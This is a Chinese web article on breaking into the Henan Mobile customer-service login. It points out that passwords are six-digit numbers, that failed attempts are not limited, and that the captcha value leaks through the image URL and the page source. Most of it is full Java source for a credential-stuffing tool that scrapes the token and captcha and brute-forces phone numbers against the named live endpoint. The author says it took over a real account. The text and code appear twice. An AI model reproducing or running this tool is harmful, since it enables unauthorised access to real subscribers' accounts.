河南移動網(wǎng)絡(luò)客服系統(tǒng)驗(yàn)證碼的缺陷分析和利用!
更新時(shí)間:2007年01月16日 00:00:00 作者:
先聲明哦 本文沒有技術(shù)含量---只是為了證明java也可以作破解工具
中國移動的在線客服系統(tǒng)大家應(yīng)該非常熟悉,因?yàn)槲沂且苿又覍?shí)的河南用戶,自然就從河南移動說起.在移動大廳辦理過業(yè)務(wù)的用戶都很清楚,用戶密碼只能設(shè)置成6位數(shù)0~9.而網(wǎng)上服務(wù)系統(tǒng)和移動的核心數(shù)據(jù)庫是同步的,密碼也只能局限為6位數(shù)字.如此簡單的密碼組合非常適合暴力破解.
我們來分析一下暴力破解的可行性.首先,系統(tǒng)對當(dāng)天登錄的次數(shù)要沒有限制,我隨便輸入一個(gè)手機(jī)號測試系統(tǒng)容錯(cuò)次數(shù).我試了十次,依然可以進(jìn)入登錄界面(yes~有戲).接下來,分析系統(tǒng)登錄需要提交的關(guān)鍵字段.來看看登錄頁面http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp
__________________________________________
.....................
<form method="post" name="thisform"
//post 方式提交數(shù)據(jù)
...........
action="/servlet/com.huawei.icd30.wskf.login.LoginCheck"> -->
//處理登錄事件的servlet 看來是它接收的參數(shù).
<input type="hidden" name="forwardFlag" value="0">
//關(guān)鍵字段 forwardFlag 不知道什么用處,但多次刷新頁面無改變
<input type="hidden" name="transaction" value="3">
// 關(guān)鍵字段 transaction 同上
<input type="hidden" name="ssRandomPass" value="dNZjN/vfR4HwMACDVqhncQ==" >
//關(guān)鍵字段 ssRandomPass 每次刷新得到新的隨機(jī)值,在頁面無顯示
//可能是身份識別的隱含信息
......................
//以下是用戶提交的表單內(nèi)容
<td><input type="text" name="userName" size="14"
//呵呵 手機(jī)號
<td><input type="password" name="passWord"
//手機(jī)密碼
<td><input name="randomPassword" type="text"
//圖片驗(yàn)證碼
.......................................
___________________________________
綜上得post內(nèi)容為:forwardFlag=0&transaction=3&ssRandomPassdNZjN/vfR4HwMACDVqhncQ==
&userName=135********&passWord=******&randomPassword=****
passWord是我們要猜解的內(nèi)容,如何鎖定randomPassword(驗(yàn)證碼)是關(guān)鍵.具體就是如何對圖片驗(yàn)證碼做解析.說到這里就不得不提一下,在沒有驗(yàn)證碼的時(shí)代,許多暴力破解軟件非常流行,對于入侵大多數(shù)郵件服務(wù)器和論壇是非常行之有效的方法.也捧紅了一批經(jīng)典破解軟件,如流光,溯雪.(呵呵,都是值得珍藏的文物)
我們來看看這里的驗(yàn)證碼是如何生成的右鍵單擊驗(yàn)證碼圖片.哈哈,我們看到了什么?http://khfw.ha.chinamobile.com/s ... let?randomPass=9814<--這是不正是我們的驗(yàn)證碼值嗎?
我們訪問com.huawei.icd30.wskf.console.ImageServlet應(yīng)用改變r(jià)andomPass的值為1111 呵呵,不出所料生成了數(shù)值為1111的圖片.由此可見,登錄驗(yàn)證程序和驗(yàn)證碼的生成是兩個(gè)應(yīng)用.由返回的登錄頁面?zhèn)鬟f參數(shù)請求com.huawei.icd30.wskf.console.ImageServlet生成驗(yàn)證碼.
到這里我們的分析工作就算完成了.如何用程序?qū)崿F(xiàn)暴力破解沒有技術(shù)難度.我寫了一個(gè)java版的application win2000下編譯測試成功,效仿一些QQ破解模式,密碼為123456,不斷變換猜解手機(jī)號,10分鐘不到就找到了一個(gè)密碼為123456的用戶.
******本代碼只做研究,對于該程序可能造成的后果本人概不負(fù)責(zé)********
源代碼如下:
--------------
import java.net.*;
import java.io.*;
public class Result
{
public static String ssRandomPass,randomPassword;
public static int passWord=123456,num=00000;
//設(shè)置六位手機(jī)密碼和手機(jī)后五位號碼
public static void main(String args[]){
while(true)
{
check();
//該函數(shù)捕獲登錄頁面關(guān)鍵字段
try {
URL url = new URL("http://khfw.ha.chinamobile.com/servlet/com.huawei.icd30.wskf.login.LoginCheck");;
URLConnection connection = url.openConnection();
connection.setDoOutput(true);
OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");
out.write("forwardFlag=0&transaction=3&ssRandomPass="+ssRandomPass+"&userName=
135286"+num+"&"+"passWord="+passWord+"&randomPassword="+randomPassword);//這里組織提交信息
out.flush();
out.close();
//獲取返回?cái)?shù)據(jù)
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
String line = null;
StringBuffer content= new StringBuffer();
while((line = in.readLine()) != null)
{
//line為返回值,這就可以判斷是否成功、
content.append(line);
}
in.close() ;
in=null;
url=null;
String msg = content.toString();
System.err.println("Back code:"+msg.length()+" check passwd:"+passWord);
System.err.println("check num:135256"+num);
if(msg.length()==412|num==99999)
{
System.err.println("Get one phonenumber");
System.err.println(msg);
break;
}
// passWord++;
num++;
} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public static void check()
{
StringBuffer ssR = new StringBuffer();
StringBuffer rand = new StringBuffer();
try {
URL url = new URL("http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp");
URLConnection connection = url.openConnection();
connection.setDoOutput(true);
OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");
out.write("?");
out.flush();
out.close();
//獲取返回?cái)?shù)據(jù)
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
String line = null;
StringBuffer content= new StringBuffer();
while((line = in.readLine()) != null)
{
//line為返回值,這就可以判斷是否成功、
content.append(line);
}
in.close() ;
in=null;
url=null;
String msg = content.toString();
for (int i=0;i<=23;i++)
ssR.append(msg.charAt(1534+i));
ssRandomPass=ssR.toString();
System.err.println(ssR.toString());
for (int i=0;i<=3;i++)
rand.append(msg.charAt(2492+i));
randomPassword=rand.toString();
System.err.println(rand.toString());
//System.err.println(msg);
} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
中國移動的在線客服系統(tǒng)大家應(yīng)該非常熟悉,因?yàn)槲沂且苿又覍?shí)的河南用戶,自然就從河南移動說起.在移動大廳辦理過業(yè)務(wù)的用戶都很清楚,用戶密碼只能設(shè)置成6位數(shù)0~9.而網(wǎng)上服務(wù)系統(tǒng)和移動的核心數(shù)據(jù)庫是同步的,密碼也只能局限為6位數(shù)字.如此簡單的密碼組合非常適合暴力破解.
我們來分析一下暴力破解的可行性.首先,系統(tǒng)對當(dāng)天登錄的次數(shù)要沒有限制,我隨便輸入一個(gè)手機(jī)號測試系統(tǒng)容錯(cuò)次數(shù).我試了十次,依然可以進(jìn)入登錄界面(yes~有戲).接下來,分析系統(tǒng)登錄需要提交的關(guān)鍵字段.來看看登錄頁面http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp
__________________________________________
.....................
<form method="post" name="thisform"
//post 方式提交數(shù)據(jù)
...........
action="/servlet/com.huawei.icd30.wskf.login.LoginCheck"> -->
//處理登錄事件的servlet 看來是它接收的參數(shù).
<input type="hidden" name="forwardFlag" value="0">
//關(guān)鍵字段 forwardFlag 不知道什么用處,但多次刷新頁面無改變
<input type="hidden" name="transaction" value="3">
// 關(guān)鍵字段 transaction 同上
<input type="hidden" name="ssRandomPass" value="dNZjN/vfR4HwMACDVqhncQ==" >
//關(guān)鍵字段 ssRandomPass 每次刷新得到新的隨機(jī)值,在頁面無顯示
//可能是身份識別的隱含信息
......................
//以下是用戶提交的表單內(nèi)容
<td><input type="text" name="userName" size="14"
//呵呵 手機(jī)號
<td><input type="password" name="passWord"
//手機(jī)密碼
<td><input name="randomPassword" type="text"
//圖片驗(yàn)證碼
.......................................
___________________________________
綜上得post內(nèi)容為:forwardFlag=0&transaction=3&ssRandomPassdNZjN/vfR4HwMACDVqhncQ==
&userName=135********&passWord=******&randomPassword=****
passWord是我們要猜解的內(nèi)容,如何鎖定randomPassword(驗(yàn)證碼)是關(guān)鍵.具體就是如何對圖片驗(yàn)證碼做解析.說到這里就不得不提一下,在沒有驗(yàn)證碼的時(shí)代,許多暴力破解軟件非常流行,對于入侵大多數(shù)郵件服務(wù)器和論壇是非常行之有效的方法.也捧紅了一批經(jīng)典破解軟件,如流光,溯雪.(呵呵,都是值得珍藏的文物)
我們來看看這里的驗(yàn)證碼是如何生成的右鍵單擊驗(yàn)證碼圖片.哈哈,我們看到了什么?http://khfw.ha.chinamobile.com/s ... let?randomPass=9814<--這是不正是我們的驗(yàn)證碼值嗎?
我們訪問com.huawei.icd30.wskf.console.ImageServlet應(yīng)用改變r(jià)andomPass的值為1111 呵呵,不出所料生成了數(shù)值為1111的圖片.由此可見,登錄驗(yàn)證程序和驗(yàn)證碼的生成是兩個(gè)應(yīng)用.由返回的登錄頁面?zhèn)鬟f參數(shù)請求com.huawei.icd30.wskf.console.ImageServlet生成驗(yàn)證碼.
到這里我們的分析工作就算完成了.如何用程序?qū)崿F(xiàn)暴力破解沒有技術(shù)難度.我寫了一個(gè)java版的application win2000下編譯測試成功,效仿一些QQ破解模式,密碼為123456,不斷變換猜解手機(jī)號,10分鐘不到就找到了一個(gè)密碼為123456的用戶.
******本代碼只做研究,對于該程序可能造成的后果本人概不負(fù)責(zé)********
源代碼如下:
--------------
import java.net.*;
import java.io.*;
public class Result
{
public static String ssRandomPass,randomPassword;
public static int passWord=123456,num=00000;
//設(shè)置六位手機(jī)密碼和手機(jī)后五位號碼
public static void main(String args[]){
while(true)
{
check();
//該函數(shù)捕獲登錄頁面關(guān)鍵字段
try {
URL url = new URL("http://khfw.ha.chinamobile.com/servlet/com.huawei.icd30.wskf.login.LoginCheck");;
URLConnection connection = url.openConnection();
connection.setDoOutput(true);
OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");
out.write("forwardFlag=0&transaction=3&ssRandomPass="+ssRandomPass+"&userName=
135286"+num+"&"+"passWord="+passWord+"&randomPassword="+randomPassword);//這里組織提交信息
out.flush();
out.close();
//獲取返回?cái)?shù)據(jù)
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
String line = null;
StringBuffer content= new StringBuffer();
while((line = in.readLine()) != null)
{
//line為返回值,這就可以判斷是否成功、
content.append(line);
}
in.close() ;
in=null;
url=null;
String msg = content.toString();
System.err.println("Back code:"+msg.length()+" check passwd:"+passWord);
System.err.println("check num:135256"+num);
if(msg.length()==412|num==99999)
{
System.err.println("Get one phonenumber");
System.err.println(msg);
break;
}
// passWord++;
num++;
} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public static void check()
{
StringBuffer ssR = new StringBuffer();
StringBuffer rand = new StringBuffer();
try {
URL url = new URL("http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp");
URLConnection connection = url.openConnection();
connection.setDoOutput(true);
OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");
out.write("?");
out.flush();
out.close();
//獲取返回?cái)?shù)據(jù)
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
String line = null;
StringBuffer content= new StringBuffer();
while((line = in.readLine()) != null)
{
//line為返回值,這就可以判斷是否成功、
content.append(line);
}
in.close() ;
in=null;
url=null;
String msg = content.toString();
for (int i=0;i<=23;i++)
ssR.append(msg.charAt(1534+i));
ssRandomPass=ssR.toString();
System.err.println(ssR.toString());
for (int i=0;i<=3;i++)
rand.append(msg.charAt(2492+i));
randomPassword=rand.toString();
System.err.println(rand.toString());
//System.err.println(msg);
} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
相關(guān)文章
網(wǎng)友舉報(bào):屁屁寬頻軟件自帶木馬病毒(圖)
網(wǎng)友舉報(bào):屁屁寬頻軟件自帶木馬病毒(圖)...2007-01-01細(xì)說3721網(wǎng)絡(luò)實(shí)名“病毒”
細(xì)說3721網(wǎng)絡(luò)實(shí)名“病毒”...2007-01-01